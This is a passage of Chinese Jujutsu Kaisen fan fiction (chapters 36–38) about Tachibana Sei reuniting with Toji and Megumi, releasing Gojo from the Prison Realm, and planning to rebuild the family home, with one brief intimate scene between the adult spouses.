怕打扰姐姐，没敢太早过来。
这会儿清闲下来，才意识到耳边清静了许久。
在切菜的立花霁听见杰的问话，心想可真不容易，总算是想起自己被遗忘的挚友了。
“关猫箱冷静一下。”
“猫箱？”
立花霁的影子跟人一样脱离她，像个足球一样滚了过去，然后吐出了狱门疆。
夏油杰愣住，“姐姐的术式跟影子有关？”
“不是哦，是复制，祖传术式。”立花霁没有解释太多。
“哦，这个是什么？”
“狱门疆哦，五条悟现在就关在里面。”
夏油杰傻眼，“悟被封印了吗？”
立花霁“嗯”了一声，“他昨天受到了一点刺激，我怕他和甚尔打起来，把这一片给毁了。”
她停下切菜的动作，“要解封吗？还是让他在里面继续冷静？”
“里面时间是停止的，进去什么样子，出来还是
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什么样子，在里面咒力会被吸走，可以摒弃六眼的强制开启，对五条悟来说在里面应该能好好睡一觉。”
夏油杰垂下头，“让他再睡一会儿吧，悟这几天很累。”
挚友的疲倦他不是没有看见。
“等吃饭的时候再放他出来。”
立花霁无所谓，知道多了一个人吃饭，又添了两道菜，是甜口的。
夏油杰低头看看正在戳狱门疆上蓝色眼睛的惠，突然开口。
“姐姐，当初为何要跟我签订束缚？”
这句话一直耿在他心头，束缚完成，记忆回来，这件事成为他心中过不去的坎。
他想要问姐姐，是他哪里做得不对，才让姐姐不愿意再见他吗？
立花霁怔了一下，抬头看向客厅里情绪低落的弟弟。
“因为当时甚尔只有我了，你的出现让他不安。抱歉啊，杰，我是甚尔的羁绊，不是你的羁绊。”
“羁绊吗？”
立花霁看了一眼他面前的狱门疆，意有所指，“呐，杰不是也找到自己的羁绊了吗？”
“姐姐……”
“嗯？”
“我不想再忘记你。”
立花霁微笑，“不会了。”
＊＊＊
甚尔回来时，杰和惠蹲在狱门疆边上研究狱门疆。
他看到杰还在似乎很不开心，可还是老老实实进了厨房接手了我的工作。
“霁，已经找到津美纪的妈妈了。”
我白了他一眼，“这个回头再说。”
我出去坐在沙发上，杰和惠在窃窃私语，看到我，当着甚尔的面跟我告状。
“姐姐，我刚才问过惠了，那家伙再婚之前做过小白脸，带着惠去不同女人家过夜，这样肮脏的男人留着做什么？换个人吧！”
“喂，想要死吗？”
甚尔端着盘子走出来，居高临下瞪着杰。
放下盘子后，他俯身在我脸上亲了一下，然后向夏油杰骄傲宣布。
“顶级的小白脸会让女人着迷心甘情愿为我花钱，只有下等牛郎才会在床上征服女人。”
“所以这就是你经常换女人的理由？”
杰幸灾乐祸道：“该不会是那些女人以为你不行，把你赶出家门了吧？”
甚尔没有理会他，而是握住了我的手。
“霁，我的一切都是你的。”
我抽回了手，“你们两个无聊不无聊？”
“甚尔你的账回头再算，杰，马上吃午饭了，该将五条悟放出来了。”
“现在吗？”杰的注意力被转移。
我捡起了狱门疆，“当然不是在屋里，我怕他出来把房子给毁了。”
“走远一点。”
下楼后来到院子里，院子也不是很大，前面有住户。
我又领着他沿着河走，过了桥后就是农田。
“就这吧。”
我将狱门疆扔到桥下的空地上。
“狱门疆开门！”
一股庞大的冲击力从下方冲来，五条悟直冲上天，脸上还带着伤，衣服上也是一大片血迹。
人却没有了之前的疯批。
他站在高空中，我和杰站在桥上，杰笑着跟他打招呼。
“嗨，悟，睡得还好吗？”
五条悟缓缓下降，“非常棒！”
他看向了我，虽然没有说话，但是我知道他想要问什么。
杰在一旁蛐蛐道：“姐姐，悟这是被关傻了吗？”
我回答：“应该是被关进猫箱关傻了。”
“姐姐，我一直想问你，为什么称呼悟是猫？”
36.貌美如花悟
立花霁诧异，“你没有觉得他很像一只猫吗？特别是犯错时那股劲儿一模一样？”
“猫猫有什么错？猫猫犯错当然是原谅他，杰，你不也是这样想的？”
夏油杰笑眯眯道：“被姐姐看穿了。”
没错，他一直觉得五条悟很像猫咪。
五条悟蹦跶过来，“啊，你们太过分了，杰，你都没有跟老子说过你还有姐姐。”
他转头响亮地喊道：“姐姐！”
真是一点也没把自己当外人。
夏油杰额头青筋直跳，他握紧拳头，“悟，这是我姐姐！”
“杰的姐姐就是老子的姐姐，杰不要那么小气嘛？大不了老子将五条家送给你。”
“谁想要五条家？悟，好好说话，在姐姐面前不要用这种自称！”
“略略略，姐姐，姐姐，老子就叫！”
“悟！”
两个幼稚少年围着立花霁掐架。
“该回去吃饭了。”立花霁越过了两人。
“是！”五条悟搭着夏油杰的肩膀举起手。
“悟，你是小孩子吗？”
“杰，你话太多了！”少年冲挚友吐舌。
立花霁笑眯眯看着打打闹闹的两个人，等回到家，五条悟看见二楼走廊上的海胆头忍不住拉下了墨镜。
“哈？！惠？”
“悟，说说你怎么知道惠的？”夏油杰意识到不对劲质问。
“哈，这当然是秘密，你这个眯眯眼怎么会知道？老子可是被幸运女神眷顾，知晓了未来的男人，惠命中注定是未来帅气麻辣五条老师的学生！”
说着他一把将海胆头小孩举起来。
大声宣布，“三岁的惠更好玩！”
夏油杰将被吓得扭头找妈的惠从好友手中夺回。
五条悟拉下眼镜审视一圈，“这里不是伏黑家。”
“什么伏黑家？惠是姐姐的孩子？”
“哈？！”
“霁，吃饭了。”
甚尔走出门，眼睛只看着立花霁。
五条悟一看见他就像是应激了一样，“这个家伙怎么在这里？”
他已经做出了攻击手势。
夏油杰帮着按了下去，“悟，不要闹，这是姐姐家，至于这个男人……”
他不爽道：“算是我的前姐夫，不用理会他，他已经入赘别人家了，现在叫伏黑甚尔，悟，不要叫错了。”
甚尔臭着脸，转头看向两少年，“喂，小鬼，快点滚回自己家去！”
“才不要！”
五条悟反而来劲了，拉着抱住惠的夏油杰挤进了屋里。
“哇，好小，杰，这里还没有高专宿舍大！”
“悟，你忘了，你的房间是打通了两间宿舍。”
“可是这里真的很小，转身都很困难吧？”
夏油杰假惺惺道：“听说某人将钱都花在了赌场，没有办法给自己女人好一点的生活，现在还要来前妻家吃软饭。”
“哇～听起来可真是个人渣！”
……
吃饭的时候，五条悟和夏油杰就像是说相声一样不断挑衅放话甚尔。
“话说大叔做过小白脸？”
“是头牌吗？”
“那种顶级牛郎吗？”
“看他一脸衰样，怕是没赢过吧？”
“还将惠抛弃了，十足的人渣。”
“什么？！抛弃了惠？”夏油杰赶紧转头，“姐姐，快点赶走他，这样的人渣根本不适合你！”
他捧起五条悟的脸，五条悟配合的撤下无下限。
“你看看悟，貌美如花，身体素质一流，童贞还在，选他吧！”
五条悟吐槽了一句，“干嘛说老子？杰的童贞不也在吗？”
他还是笑嘻嘻指着自己，眨着布林布林的蓝眼睛，“完全没问题，老子可以做惠的继父！”
甚尔将拳头按得咯吱响，“想打架吗？”
五条悟眼睛立刻一亮，跃跃欲试，“来呀来呀！我现在可不是之前的我！”
立花霁伸出筷子给了甚尔脑门一下，又将狱门疆放在了桌面上，“确定要打吗？”
五条悟看着狱门疆，抓来抓头发，“姐姐犯规！”
立花霁去冰箱里取出小甜点放在五条悟面前，贿赂他闭嘴，“吃吧。”
吃完饭，甚尔就不客气地赶人。
立花霁也没有阻拦，五条悟已经知道了未来剧情，回去后有一大堆事，无论是天内理子还是羂索，短时间内肯定没时间来烦她。
至于夏油杰……
立花霁站在门口，看着两个已经坐上咒灵的少年。
她冲着五条悟做了个加油的手势，“杰就交给你了。”
五条悟热情摆手，然后揽住了夏油杰的脖子，“没问题，我们可是最强哦！”
＊＊＊
送走了两个少年，屋子里立刻安静了不少。
房间里，甚尔正在收拾桌子，除了多了个惠以外，时间好像回到了很多年前。
我一阵恍惚。
“你怎么会回到这里？”
这房子被外婆留给了母亲，或许失去了女儿，那位倔强的老人后悔了，将唯一的房子留给了自己女儿。
我没意见，毕竟她还留下遗嘱让我可以住到成年。
搬走后我以为这辈子都不会回来了。
甚尔将犯困的惠提起来丢进卧室床上，才走出来回道：“我去仙台买下了这套房子，现在记在惠的名下。”
他走到我面前低头看着我。
“霁。”
语气很平静。
“我无处可去，能抓住的美好记忆都是在这里发生的。”
我心软了下来，他总能抓住我的弱点。
回来后我一直跟他赌气，气他自甘堕落，更气他差点就死了。
这种差点失去他的恐惧感，至今仍在心里徘徊。
可是……
“再婚是怎么一回事？我们婚姻关系解除了吗？”
我没有死，他要解除婚姻关系得先证明我已经死亡，无法证明只能向法院起诉离婚。
这两样我都不信他会去做，他是什么样的人我还能不了解，根本不耐烦走普通人那一套复杂程序。
似乎是见我态度和缓，他得寸进尺揽住我的肩膀带着我坐下。
“没有，没有解除关系。”
“我只是找人另外弄了一套身份，给惠找了个临时家庭。”
他抓紧了我的手放在唇边。
“等到过个两三年禅院家会带走他。”
我眼神如刀刺向他，语气变得危险起来，“你把惠卖给禅院
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家了？你都不愿意待着的禅院家？”
知晓我去过未来，什么都瞒不了我，他低着头，“若他没有术式可以过普通人的生活，有术式在禅院家会过得很好，至少比我好。”
“那现在怎么办？惠我是不可能交到禅院家手里。”我果决道。
“无所谓，等禅院直毘人那老头来要人时赶出去就是。”
他只是谈妥了价钱，收了钱，只是伏黑惠跟立花惠有什么关系？
我气得伸手去拧他脸蛋，“真是的，我不在，你就弄出这么大烂摊子！”
他盯着我真心笑出来，“霁，你能回来真是太好了。”
＊＊＊
甚尔的这段婚姻算是契约婚姻。
伏黑女士需要有个人帮忙养家，甚尔想要摆脱过去的同时找个人收养儿子。
两个人一拍即合，甚尔在一张卡上存了一笔钱，这笔钱每个月会定时打到伏黑女士账户上，一直到惠满六岁为止。
只是他大概没想到自己会死在星浆体事件中。
我对于这位伏黑女士的感观不太好，很明显甚尔那边打款停止后，这位女士就抛下两个孩子消失了。
想到津美纪对惠的照顾，我对甚尔说，“问一问伏黑女士，愿不愿意将津美纪交给我们养。”
甚尔有些意外，“你愿意养？”
我给了他一个白眼，“你和伏黑女士都不靠谱，你死后，伏黑女士也抛弃了他俩，未来惠是和津美纪相依为命长大，她是个好孩子。”
甚尔加重了语气，“我死后？”
我才意识到自己说秃噜嘴了。
我抿了抿唇，“那天我没有出现，你会杀死天内理子砍伤杰，在盘星教被五条悟堵住，死在他手里，死前将惠托付给他。”
甚尔想了想，“我大概明白为什么那样做，交给五条悟总比送进禅院家要好。”
“五条悟是两年后才找的惠，那会儿你已经不再打钱，伏黑女士丢下两个孩子，不知道是死是活，反正消失了。”
甚尔头靠了过来，我瞪了他一眼，“惠一直以为你跟津美纪妈妈抛下他俩私奔了。”
“在五条悟找到惠之前都是津美纪在照顾他，伏黑女士不像是个爱孩子的，你跟她商量一下，将孩子留给我们，我们会好好照顾她。”
就算是报答津美纪对惠的照顾。
这次换他们来抚养她长大。
甚尔陷入沉默，“他，我是说未来的惠觉醒了什么术式？”
“你不是早猜到了吗？十种影法，禅院家祖传术式。”
这家伙跟禅院直毘人说惠的咒力是满级，显然已经察觉到了吧？
他眼睛一下子睁大，“这可真是中大奖了？”
我气地掐他，“怎么？你还想把惠送给禅院家不成？”
甚尔悻悻道：“禅院家不可能让祖传术式流落在外。”
我将他推到门外，“快去办你的事，禅院家我会找五条悟解决！”
“什么？”他很不爽，“为何要找那个小鬼？”
我斜眼看他，“凭五条悟是六眼，五条家能够压制禅院家，你这个将儿子卖给禅院家的混蛋没有说话的余地！”
“快去，将你那乱七八糟的事给解决干净，我可不想在家里看到别人的男人，是吧，伏黑先生！”我阴阳怪气称呼他。
37.欢迎回家
傍晚，传来敲门声。
很轻，不紧不慢的敲门声。
我很纳闷这个时间谁过来，甚尔的话他应该有钥匙才对。
我拉开了门，迎面是将整个门框都挡住的玫瑰花。
真的好多，九十九朵的那种！
甚尔好高，对于我来说很大的一束花，他就这么轻易举着。
他歪头露齿一笑，“霁，欢迎回家！”
我心里一酸，眼眶有点湿润，带着点傲娇的口吻，“我还没有原谅甚尔。”
“那就惩罚他，只要霁开心，我想他就算奔赴地狱也心甘情愿。”
“干嘛要说这种话？才不要甚尔死。”
我吸了吸鼻子，奇怪怎么这么容易流眼泪？
他将玫瑰花塞到我怀里，推着我进门，带上门后反手拥着我的腰，在他凑上来之前，我看到了趴在茶几上画画的惠。
我按住了他的嘴，推开他开始算旧账，“甚尔是去歌舞伎町进修过吗？”
“别听那两个小鬼胡说……”
“我可没有做对不起霁的事，只是没钱的时候总有女性邀请我回家……”
“哟，你还挺得意是不是？”我语气变得危险。
“明明是霁的错！”他倒打一耙。
正抱着花的手一抖，我不敢置信抬头。
这家伙怎么敢说出这种不要脸的话？
“是霁先抛下我！”他委屈巴巴道，“打开狱门疆没有人，等了好久都没有人，去赌博时总幻想着你会出现，想着霁会出现骂醒我，跟女人回家时也一样，会突然冒出来阻拦，可是霁再也没有出现过……”
“说好的永远在一起，却抛下我一个人，很过分将惠也硬塞给我。”
“我都放弃一切尊严了，还是没有等到你回来……”
他说着，头搭在我肩膀上，低声抱怨，“这样的霁真是好过分！”
我鼻子一酸，眼泪再也控制不住流下来。
一想到迟来一步，他就犯下大错，很可能失去他，我内心的恐惧就急速放大。
他见我流泪，捧住我的脸，大拇指擦拭我的眼泪。
泪水一颗颗掉落，无论如何都停止不了。
他有明显紧张起来，手也跟着颤抖起来。
我视线一暗，才发现他不断吻走了我的泪水。
我和甚尔从少年走到现在，几年的相处已经融为一体，强行分开，两个人都要承受深入灵魂的撕痛。
对于我来说，我他分离的时间很短，总共加起来不到一日。
可这一日等于他的三年。
三个春秋，日日夜夜的思念，他是怎么麻痹自己才让自己撑过来？
他是我一手从深渊里拉出来的少年，我只教会了他爱我，还没有教会他爱自己，爱孩子……
我心宛如被针扎了一样的痛，密密麻麻的痛让我无法呼吸。
这是我的甚尔，我永远的爱人！
“甚尔……”
“霁，别哭。”他见我眼泪无法停止，脸上出现了心疼。
吻密密麻麻落在我眼上，“霁，别这样，是我的错，我不该说那样的话，我只是……”
“只是深深思念霁，我错了，我不该放纵自己，不该去赌，随意跟别的女人调情，我知道错了，别哭了好吗？”
“霁，我的心好难过，你摸摸好不好？”
他抓住我的手按在了他心口，强烈跳动的心脏无时无刻不在告诉我，他还活着，不是那具受肉，体。
我微微一倾，头抵在了他肩膀上，带着哭腔道：“甚尔真是犯规，明知道我拿你没办法。”
他笑出声，声音很低沉。
我被他拉着坐在沙发上，手中的玫瑰花被拿走放在了茶几上。
正靠着沙发坐着的惠好奇看我们。
我抹掉泪水有点不好意思面对孩子。
甚尔放好花后，一手按住了惠的脸，一手按住我，转瞬间湿热的吻落下。
疯狂、带着倾注一切抵死缠绵，我被昂起头，却无法全心投入。
瞪大眼睛的我，只能看着惠被遮挡住了眼睛，在甚尔手里像是一只脆弱羔羊一样无力挣扎。
他捏了捏我的下巴，似乎有些不满我分心。
炙热的吻很快席卷了我的理智，最后一丝理智摇摇欲坠，想到孩子还在，我还是用力拍他。
“不要，惠还在。”
我不习惯在孩子面前亲热。
甚尔移开，手还依依不舍地摩挲着我的唇。
他瞄了一眼已经酝酿哭声的惠，不爽放开了他。
“多了个小鬼，做什么都不方便！”
我瞪了他一眼，说的是什么话？
惠冲甚尔怒目而视，我拍开甚尔放在我脸上的手，弯腰将惠抱起来挡在胸前。
甚尔站起身，看着我严防死守模样，不爽的“啧”了一声。
“霁以前都很喜欢我亲你。”
不要脸的发言让我脸瞬间发烫，咬着唇瞪他，“甚尔，别逼我扇你。”
甚尔咧嘴，眼里闪着光，“霁变暴力了，不用你扇，我自己来，我皮厚，别打疼了你的手。”
我死鱼眼瞪他，他怎么这么嘚瑟，感觉整个人跟吃了药一样精神亢奋。
怕他再说什么无下限的话，我连忙转移话题。
“只有你一个人回来，津美纪呢？”
他盘腿在地板上坐下，“哦，她母亲倒是心动，她自己不愿意，我没有多管。”
“等婚姻关系解除，小鬼就可以申请入籍。”
他伸手抓了抓小孩的海胆头，毫不客气地抓乱他的头发，“这小子可真是麻烦。”
我拍开他的手，“怪谁？还不是怪你自己，谁让你带着我儿子入赘别人家，就算我不见，那也是失踪，不是死了，你姓立花，惠也姓立花，干吗要改姓？”
甚尔抓了抓自己头发，心虚道：“我把天元砍了，被咒术界悬赏，我自己倒是没什么，不是怕牵连到小鬼吗？再说，万一你回来，总不能将麻烦带给你。”
“总监部那群人封建又固执，眼高于顶，不会关注普通人，找个普通人结婚才好隐藏。”
“你把天元给砍了？”
难怪这个时间点的天元连见都不见我，将我踢出薨星宫。
也幸亏踢出来及时，不然天内理子就
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死在甚尔手里，甚尔不会当着我的杀人，连杀咒灵都避开我。
他说过不想让我见到他不堪的另一面。
“嗯，他说你死了，可真是令人不爽。”他咧嘴露出带着血腥味的笑容。
“他的术式是不死，又不是不会受伤，四肢都被我砍掉了，可惜释魂刀不在手里……”
释魂刀被我送给未来的禅院真希了。
＊＊＊
昨天晚上家里有两个小孩，再加上我还生甚尔的气，将他踢到隔壁去睡。
半夜时他蹲在床边盯着我，我又不是没有感觉，只是不想吵醒孩子们。
今晚可算是如来他意，吃完晚饭，他就拎着惠去洗澡，我在整理东西，我的东西都在丑宝肚子里，之前只找了衣服剩下的塞了回去。
这会儿吐出来客厅都塞满了。
过期的护肤品，过时的手机，几年前的衣服，连公寓花瓶里已经干燥的花都在。
我边整理边往垃圾桶里扔，找到了一个装有重要文件的箱子，箱子里是我的证件保险单和银行卡，还有购房合同。
本来计划好房子盖好去收房，没想到阴差阳错过去这么久，甚尔明显是没有碰这箱子里东西。
我临走前都交代好了，要是我有个万一，这是要留给他和惠的，是他们未来的保障，结果他还是忘了。
房子找个时间去一趟将房产证拿到手，还有股票，我看了一眼房子，不开灯白天都显得暗沉，墙壁上都是霉斑，空间也小……
卖掉一只股票，重建房子。
这套房子年龄很老了，房前房后一块空地都属于我们家，只是早前就母女两人没必要盖很大的房子，之后祖孙二人加上经济不景气更加没必要。
房子年龄真的很老了，外面的那个楼梯走起来都有咯吱响声，再加上我和甚尔搬出去过几年，没人维护房屋，还不知道内里被蛀成什么样子。
这次将房屋拆掉重建，再将后面的那一块地纳入进来，前面的院子也围起来，面积足够了，还能留给房间给杰。
甚尔提着惠出来，浴巾抱好，往沙发上一扔，然后热情冲我笑，“霁，一起洗吧。”
一看就知道不怀好意，我双手交叉放在胸前，“哒咩！”
“你不会忘记了，我现在还在哺乳期？”
其实会反转术式后我的身体已经被刷新了，身体里的大大小小毛病全部没了，生产的后遗症也一起消失。
检查报告很健康。
刚生完孩子不久的身体，体内雌激素还处于高水平，已经恢复分泌乳汁。
＊＊＊
一句哺乳期将禅院甚尔带回了从前，最后那段时间霁深受病痛折磨，已经虚弱到极点，早没有了什么母乳可以喂孩子。
看着现在恢复健康的她，甚尔由衷地感激上天，他的运气可以不好，但是他希望霁永远可以走好运。
对于霁来说，遇见他，算是走厄运。
对于他来说，遇见霁，却是一辈子的幸运换来。
若真有神明，他愿意拿下辈子下下辈子的幸运，换霁今生的好运。
希望她健健康康一辈子，开开心心一辈子。
38.琐事
我洗了手，帮惠擦拭头发，“痱子粉递过来。”
甚尔扫了一圈，“在哪里？”
“浴室外面洗漱台的柜子上，绿色圆盒子，还有小蘑菇外形的儿童霜也一起拿过来。”
昨天去超市，除了买菜还买了一堆小孩的用品，痱子粉是孩子夏天的必备品。
甚尔递给我，我给惠脸上抹了霜，又在胳肢窝和小屁股上拍了粉，一回头就看见甚尔露出一言难尽的眼神。
“你那是什么眼神？”
甚尔悻悻盘腿坐下，现在的小孩要这么精致吗？
“小孩子要擦这些吗？育儿节目没有教。”
一看就知道他把孩子养得粗糙，惠能活下来怕是得感谢那些收留他和惠的女人。
我都能想象到他带着惠去人家白吃白喝，人家以为拿的是救赎剧本，结果甚尔一副摆烂模样，不是赌就是在赌的路上，哪个冤大头愿意白养一个烂人，还是赌鬼？
我没搭理他，正常人会跟着育儿节目学习养孩子吗？那些不是随便听听吗？
“我们搬出去住，我打算将房子推了翻间，现在的房间太小了，跟隔壁打通也没必要，房龄本来就很老，干脆推了重建。”
甚尔积极举手，“要买房吗？我可以多接一些任务……”
“不准！”
我甩掉惠身上的浴巾，给他套上了纸尿裤和衬衣，他的头发偏硬，擦干后就炸毛，回头带他去剪掉。
前脚将惠放下沙发，后脚甚尔就挪到我脚边，头发上的水珠不停往木板上掉落，我忍了又忍，将浴巾拍在了他头上。
“自己擦干。”
“不要，要霁帮我。”
他头伸过来，不服气道：“那个小鬼可以，为什么我不可以？”
“甚尔，你是三岁吗？”
“我才是先来的，那个小鬼是后来的，霁你不能偏心。”
我无语，用力拿着浴巾帮他擦干头发上的水分，继续刚才的话题。
“不准去接任务，我准备卖掉一只股票，这样就有钱翻盖房子了，你回头找时间去申请一下，再找个建筑公司。”
“没必要再买房子，我打算在幼稚园附近找个大一点的房子租下搬过去，也可以随时过来看建房进度。”
“都听霁的。”
他眼睛半合，像是一只慵懒大猫，头发擦得半干后，往后一靠，头枕在了我大腿上。
我抱着他的头，摸了摸他嘴角的伤疤，对上了他仰视的眼神。
那眼神中全是对我的爱意，我忍不住低头亲了亲他眼睛。
“甚尔，开心吗？”
他嘴角上扬，“嗯。”
他抓住我的手，我们十指相扣，“很开心，此时此刻和霁。”
“还有惠，一家人团聚，让甚尔感觉到幸福了吗？”
“还有惠。”他不情不愿重复。
随后他咧开嘴，“只要看着霁，我就感觉到幸福，我现在好幸福～”
我亲了亲他嘴角，笑眯眯道：“我也是，我也感觉到了幸福。”
……
夜晚外面的虫叫蛙鸣有点吵。
卧室的床太小，干脆让甚尔搬到隔壁去，我铺好床，惠主动躺下，眼睛一刻不停地盯着我。
“妈妈～”
“怎么了？”
“津美纪呢？”
“惠想姐姐了？”
他点点头。
我凑过去在他额头上亲了一口，“那就闭上眼睡觉吧，明天去幼稚园就能看到她了。”
他乖乖闭上眼。
小孩子的睡眠可真让人羡慕，说睡就睡。
我也躺下，掀起薄被子帮他盖好，就这么支着头看着他。
我比划了一下，刚出生还没有猫大，一转眼都长大了。
脚步声从外间传来，门被推开，甚尔走了进来。
他在我身后躺下来，将我抱在怀里，我们的身体完整契合在一起。
他躺下后有些不老实，不断亲吻我的后脖。
“别这样，惠还在。”
我用气音小声道。
“不碰你，就是想亲亲你。”
他用气音在我耳边回话。
我翻了个身正对着他。
“快睡觉，不准瞎胡闹。”
他伸手揽我进怀里，我能感受到他鼻息喷在发顶的热度，“难受吗？”
是有点帐，还能撑住，过了几天应该能回了。
灯光熄灭，黑暗中传来窸窸窣窣的声音。
我按住了睡衣上的扣子，“不准胡来。”
他手已经从衣领伸进去。
“霁，让我帮帮你吧。”
我无力地推了推他作怪的手，内心sao动也被他挑起来。
我压低声音，“不准在这里，去隔壁。”
他像是等着我这句话一样，迅速地将我打横抱起来，黑夜一点都没有影响到他的视线，我被他抱着穿过了客厅和外面走廊。
原本属于他的那间房间灯亮着，只是多了一张床，我坐在床上。
床上床垫床单一个不少，我就知道他是早有预谋。
上衣的扣子完全被解开，他屈膝蹲着将头埋在我心口，津津有味地品尝着什么盛宴。
我摸着他的头发，深吸了一口气。
等他吸空了两个粮袋，才昂起头看着我，“霁，想尝尝吗？”
他眼神纯真，与唇间几滴飞溅出来的汁水格格不入。
我忍不住诱惑，吻了上去，舌尖在他唇间寻找美味。
……
一切结束，他漱口后帮我清理，结束后满足地抱住我躺下，我有些奇怪，他竟然能忍住。
我这样问了。
他抱得很紧，我能够感受到他全身的紧绷和火热，还有某处的跳动。
“不能做，戴套也不保险，我不能再让霁怀孕了。”
他闷闷道。
我意识到上回生产吓坏了他，没有反对，手放在他手背上摸了摸，随意撕扯他手背上的汗毛。
“甚尔不想再要孩子？”
“有一个小鬼就够了。”他嘟囔一句，“霁是我一个人的，现在还得分给小鬼。”
“那是你儿子！”我哭笑不得，他吃什么醋呀？
甚尔也不回答，就这么紧抱着我，有点热，事后本来就很放松，在这熟悉的热度和气息中我睡着了。
＊＊＊
早上醒来甚尔不在，他送惠去幼稚园了，惠搬过来，没来得及更改地址，校车不经过这里，只能先让甚尔早上送。
我今天有一堆事要处理，申请房屋改建，卖彩票，租房。
事情不
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多，每一样都耗费时间。
九点多钟，我接到了杰的电话。
“……嗯，准备搬家，这里的房子太旧了，打算推翻重建。”
“呐，新建的房子，有准备我的房间吗？”这话问得我大汗淋漓。
“还有老子！”电话那头五条猫猫大声地说。
“悟，那是我姐姐家～”
“嘛嘛，杰，都说了不要小气，你姐姐就是老子的姐姐……”
“悟～”这是杰无奈声音。
我无语，杰你就宠着他吧。
“姐姐，既然搬家，不如搬到东京来，老子在东京有好多房产，可以免费让姐姐选！”豪气的五条猫猫表示，不要租金，随便我选。
我拒绝，“不了，惠上学不方便。”
谁去东京那种地方呀，我可不想出门就看见咒灵。
“姐姐想找什么样的房子？”杰在电话询问我，一副热情帮我参考的架势。
我听见背景声中是轰炸声，就知道他们这会儿应该在做任务。
我思考了一下，“大点吧，可以让惠跑，小孩子喜欢跑跑跳跳，房间再多一点，杰也可以过来住。”
那头的杰显然被我这句话给顺毛了，满意道：“房子我找人帮忙，埼玉本地有认识的辅助监督，对那边情况也了解，姐姐的手机号是多少，回头发图片给你。”
租房不需要自己去找，我当然省了不少事，痛快地报了手机号。
我的手机号没有停，只是之前的手机型号太老，从未来弄来的手机又没有这个时间点的入网证，所以还得重新买个。
挂断电话，甚尔回来了，一回来就跟个黏人的大猫，我走到哪里就跟到哪里。
既然他想跟那就跟。
我领着他先去办了改建房屋的申请，又买了一部手机。
也不知道为什么，立本对于翻盖手机特别喜爱，商场里大部分都是翻盖，直板的手机反而是小众。
后世存活下来的手机品牌，在这个时候都不见踪影，这时候比较出名的是索尼、爱立信、黑莓等等。
我挑手机不看性能，只看了外表，这个时候的手机功能也就那些，凑合着用。
选了一部插上电话卡，手机开机，就进来好几条短信。
都是彩图，加载出来是房屋的外形和室内布局。
甚尔揽着我的肩膀凑过来，眯着眼睛问，“谁发来的？”
“是杰，听说我们要租房子，说要帮忙。”
甚尔这才放下警惕。
我侧头看他，“我的手机费用是你在交吗？”
这几年手机号没有收回去，显然是有人在交费用。
他随意道：“付了一笔，不记得了。”
我低头给运营商发了一条查询余额的短信，看着上头还有好几十万的余额，有些头疼。
这么多话费我得用到什么时候？
这家伙的钱其实都这么胡乱花掉了吧？
“别看了。”大手伸过来，胡乱按掉短信界面。
“去吃饭，附近新开了一家中华料理，我们去尝尝好不好？”
最后尾音是从鼻腔里发出，带点性感和可爱。
二十六岁的大男人一如少年时一样跟我撒娇。
可恶，明知道我吃这一招！
“去吃饭。”